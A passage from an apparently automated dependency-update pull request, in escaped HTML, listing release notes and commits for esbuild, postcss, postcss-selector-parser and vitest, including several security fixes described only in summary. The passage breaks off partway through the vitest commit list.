inlining \u003ccode\u003eusing\u003c/code\u003e and \u003ccode\u003eawait using\u003c/code\u003e declarations (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4482\"\u003e#4482\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePreviously esbuild's minifier sometimes incorrectly inlined \u003ccode\u003eusing\u003c/code\u003e and \u003ccode\u003eawait using\u003c/code\u003e declarations into subsequent uses of that declaration, which then fails to dispose of the resource correctly. This bug happened because inlining was done for \u003ccode\u003elet\u003c/code\u003e and \u003ccode\u003econst\u003c/code\u003e declarations by avoiding doing it for \u003ccode\u003evar\u003c/code\u003e declarations, which no longer worked when more declaration types were added. Here's an example:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// Original code\n{\n  using x = new Resource()\n  x.activate()\n}\n\u003cp\u003e// Old output (with --minify)\u003cbr /\u003e\nnew Resource().activate();\u003c/p\u003e\n\u003cp\u003e// New output (with --minify)\u003cbr /\u003e\n{using e=new Resource;e.activate()}\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix module evaluation when an error is thrown (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4461\"\u003e#4461\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4467\"\u003e#4467\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eIf an error is thrown during module evaluation, esbuild previously didn't preserve the state of the module for subsequent module references. This was observable if \u003ccode\u003eimport()\u003c/code\u003e or \u003ccode\u003erequire()\u003c/code\u003e is used to import a module multiple times. The thrown error is supposed to be thrown by every call to \u003ccode\u003eimport()\u003c/code\u003e or \u003ccode\u003erequire()\u003c/code\u003e, not just the first. With this release, esbuild will now throw the same error every time you call \u003ccode\u003eimport()\u003c/code\u003e or \u003ccode\u003erequire()\u003c/code\u003e on a module that throws during its evaluation.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix some edge cases around the \u003ccode\u003enew\u003c/code\u003e operator (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4477\"\u003e#4477\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePreviously esbuild incorrectly printed certain edge cases involving complex expressions inside the target of a \u003ccode\u003enew\u003c/code\u003e expression (specifically an optional chain and/or a tagged template literal). The generated code for the \u003ccode\u003enew\u003c/code\u003e target was not correctly wrapped with parentheses, and either contained a syntax error or had different semantics. These edge cases have been fixed so that they now correctly wrap the \u003ccode\u003enew\u003c/code\u003e target in parentheses. Here is an example of some affected code:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// Original code\nnew (foo()`bar`)()\nnew (foo()?.bar)()\n\u003cp\u003e// Old output\u003cbr /\u003e\nnew foo()\u003ccode\u003ebar\u003c/code\u003e();\u003cbr /\u003e\nnew (foo())?.bar();\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/bb9db84c02433fbe37b3509f53f9f3e3cc48725e\"\u003e\u003ccode\u003ebb9db84\u003c/code\u003e\u003c/a\u003e publish 0.28.1 to npm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/9ff053e53b8eeb990f59355dbea365277ac45ee2\"\u003e\u003ccode\u003e9ff053e\u003c/code\u003e\u003c/a\u003e security: add integrity checks to the Deno API\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/0a9bf2135b67c7e28989a5ba19f0f000805a5ab5\"\u003e\u003ccode\u003e0a9bf21\u003c/code\u003e\u003c/a\u003e enforce non-negative size in gzip parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/e2a1a7132058ee067fe736eac15f695861b8654e\"\u003e\u003ccode\u003ee2a1a71\u003c/code\u003e\u003c/a\u003e security: forbid \u003ccode\u003e\\\\\u003c/code\u003e in local dev server requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/83a2cbfc35809f4fd5152da59572d7bed7739d78\"\u003e\u003ccode\u003e83a2cbf\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4482\"\u003e#4482\u003c/a\u003e: don't inline \u003ccode\u003eusing\u003c/code\u003e declarations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/308ad745d824c77bc607603451b257d0f2fd9a38\"\u003e\u003ccode\u003e308ad74\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4471\"\u003e#4471\u003c/a\u003e: renaming of nested \u003ccode\u003evar\u003c/code\u003e declarations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/f013f5f99a015bce92ec48d49181d4ad3177b29b\"\u003e\u003ccode\u003ef013f5f\u003c/code\u003e\u003c/a\u003e fix some typos\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/aafd6e48b1088336a5f5a17e930be7e840d43d8c\"\u003e\u003ccode\u003eaafd6e4\u003c/code\u003e\u003c/a\u003e chore: fix some minor issues in comments (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4462\"\u003e#4462\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/15300c30b5e22f7cfcbed850c246d35095658386\"\u003e\u003ccode\u003e15300c3\u003c/code\u003e\u003c/a\u003e follow up: cjs evaluation fixes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/1bda0c31d7697c0af44b3ab39b81e599e559a395\"\u003e\u003ccode\u003e1bda0c3\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4461\"\u003e#4461\u003c/a\u003e, fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4467\"\u003e#4467\u003c/a\u003e: esm evaluation fixes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/evanw/esbuild/compare/v0.28.0...v0.28.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.15 to 8.5.19\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/00d0dd2322162f6083d507ea6954685e1c92f165\"\u003e\u003ccode\u003e00d0dd2\u003c/code\u003e\u003c/a\u003e Keep explicitly set raws.before when inserting nodes into root (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2111\"\u003e#2111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a05b33e7a15d6f80d90098784170ad3dca39180\"\u003e\u003ccode\u003e7a05b33\u003c/code\u003e\u003c/a\u003e Temporary fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.15...8.5.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for postcss since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss-selector-parser` from 7.1.1 to 7.1.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss-selector-parser/releases\"\u003epostcss-selector-parser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e7.1.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: tolerate non-node children when serializing selectors\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.1.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove fix CVE-2026-9358 (NVD) / SNYK-JS-POSTCSSSELECTORPARSER-16873882 (clone/walk)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.1.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ca href=\"https://github.com/advisories/GHSA-w9m9-85wc-3x92\"\u003eCVE-2026-9358\u003c/a\u003e (NVD) / SNYK-JS-POSTCSSSELECTORPARSER-16873882 (\u003ca href=\"https://redirect.github.com/postcss/postcss-selector-parser/pull/316\"\u003e#316\u003c/a\u003e by \u003ca href=\"https://github.com/MoOx\"\u003e\u003ccode\u003e@​MoOx\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss-selector-parser/blob/main/CHANGELOG.md\"\u003epostcss-selector-parser's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e7.1.4 - 2026-06-11\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003efix: tolerate non-node children when serializing selectors\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e7.1.3 - 2026-06-11\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eImprove fix CVE-2026-9358 (NVD) / SNYK-JS-POSTCSSSELECTORPARSER-16873882 (clone/walk)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e7.1.2 - 2026-06-09\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ca href=\"https://github.com/advisories/GHSA-w9m9-85wc-3x92\"\u003eCVE-2026-9358\u003c/a\u003e (NVD) / SNYK-JS-POSTCSSSELECTORPARSER-16873882 (\u003ca href=\"https://redirect.github.com/postcss/postcss-selector-parser/pull/316\"\u003e#316\u003c/a\u003e by \u003ca href=\"https://github.com/MoOx\"\u003e\u003ccode\u003e@​MoOx\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/4a7e4e3685db8ab8e52e51ecdbe8162a8568f70c\"\u003e\u003ccode\u003e4a7e4e3\u003c/code\u003e\u003c/a\u003e 7.1.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/e2021c523d5ef1bf27836aef3bd724a28ba7894f\"\u003e\u003ccode\u003ee2021c5\u003c/code\u003e\u003c/a\u003e fix: tolerate non-node children when serializing selectors\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/7893b741fa87d0401e39c3a7f00d89cf7408ad32\"\u003e\u003ccode\u003e7893b74\u003c/code\u003e\u003c/a\u003e 7.1.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/5bc698cef66f8abd12610dc623e5d67cbc0f869d\"\u003e\u003ccode\u003e5bc698c\u003c/code\u003e\u003c/a\u003e Improve fix CVE-2026-9358 (NVD) / SNYK-JS-POSTCSSSELECTORPARSER-16873882 (clo...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/db3232710d7270b34e50b4ffae493ac19204f570\"\u003e\u003ccode\u003edb32327\u003c/code\u003e\u003c/a\u003e run oxfmt\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/16e2581b40894504cf2b979fc0ebf7d0b2f39366\"\u003e\u003ccode\u003e16e2581\u003c/code\u003e\u003c/a\u003e simplify deps (\u003ca href=\"https://redirect.github.com/postcss/postcss-selector-parser/issues/319\"\u003e#319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/b185e2057871669f9c571ad82e4350799e0a2329\"\u003e\u003ccode\u003eb185e20\u003c/code\u003e\u003c/a\u003e Add description in package.json + full repo url\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/de415f19aac008f0e731590222f3a963193be05c\"\u003e\u003ccode\u003ede415f1\u003c/code\u003e\u003c/a\u003e Add Tidelift security notice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/c4f2c8c04a8107e4e401f257ef00592b59633774\"\u003e\u003ccode\u003ec4f2c8c\u003c/code\u003e\u003c/a\u003e CI: make Node 14 test job lockfile-v3 compatible (\u003ca href=\"https://redirect.github.com/postcss/postcss-selector-parser/issues/318\"\u003e#318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/4e93663bfe861f9fc3173db603c8fadb70f8090a\"\u003e\u003ccode\u003e4e93663\u003c/code\u003e\u003c/a\u003e Fix test run on node \u0026lt; 20\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss-selector-parser/compare/v7.1.1...7.1.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~moox\"\u003emoox\u003c/a\u003e, a new releaser for postcss-selector-parser since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eInstall script changes\u003c/summary\u003e\n\u003cp\u003eThis version modifies \u003ccode\u003eprepare\u003c/code\u003e script that runs during installation. Review the package contents before updating.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.8 to 4.1.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.10\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10680\"\u003evitest-dev/vitest#10680\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267\"\u003e\u003c!-- raw HTML omitted --\u003e(5c18d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evm\u003c/strong\u003e: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by \u003ca href=\"https://github.com/SveLil\"\u003e\u003ccode\u003e@​SveLil\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10661\"\u003evitest-dev/vitest#10661\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b511\"\u003e\u003c!-- raw HTML omitted --\u003e(bae52)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.9...v4.1.10\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.9\u003c/h2\u003e\n\u003ch3\u003e🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eDavid Harris\u003c/strong\u003e, \u003cstrong\u003eCodex\u003c/strong\u003eand \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10546\"\u003evitest-dev/vitest#10546\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c\"\u003e\u003c!-- raw HTML omitted --\u003e(a5180)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eWait for orchestrator readiness before resolving browser sessions [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10555\"\u003evitest-dev/vitest#10555\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651a\"\u003e\u003c!-- raw HTML omitted --\u003e(7fb29)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait for iframe tester readiness before preparing  [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10497\"\u003evitest-dev/vitest#10497\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10556\"\u003evitest-dev/vitest#10556\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fbc626c40\"\u003e\u003c!-- raw HTML omitted --\u003e(fbc62)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eHoist vi.mock() for vite-plus/test imports [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eLongYinan\u003c/strong\u003e, \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e and \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10548\"\u003evitest-dev/vitest#10548\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2c9559c02\"\u003e\u003c!-- raw HTML omitted --\u003e(2c955)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epool\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePrevent test run hang on worker crash  [backport to v4] - by \u003cstrong\u003eAri Perkkiö\u003c/strong\u003e and \u003cstrong\u003eJattioui Ismail\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10543\"\u003evitest-dev/vitest#10543\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10564\"\u003evitest-dev/vitest#10564\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587\"\u003e\u003c!-- raw HTML omitted --\u003e(934b0)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.8...v4.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/db616d227b6e0cb07a94f5d1bba262ee95db7e46\"\u003e\u003ccode\u003edb616d2\u003c/code\u003e\u003c/a\u003e chore: release v4.1.10 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10718\"\u003e#10718\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b5112a6fd8200101b88bf8af9685d077295\"\u003e\u003ccode\u003ebae52b5\u003c/code\u003e\u003c/a\u003e 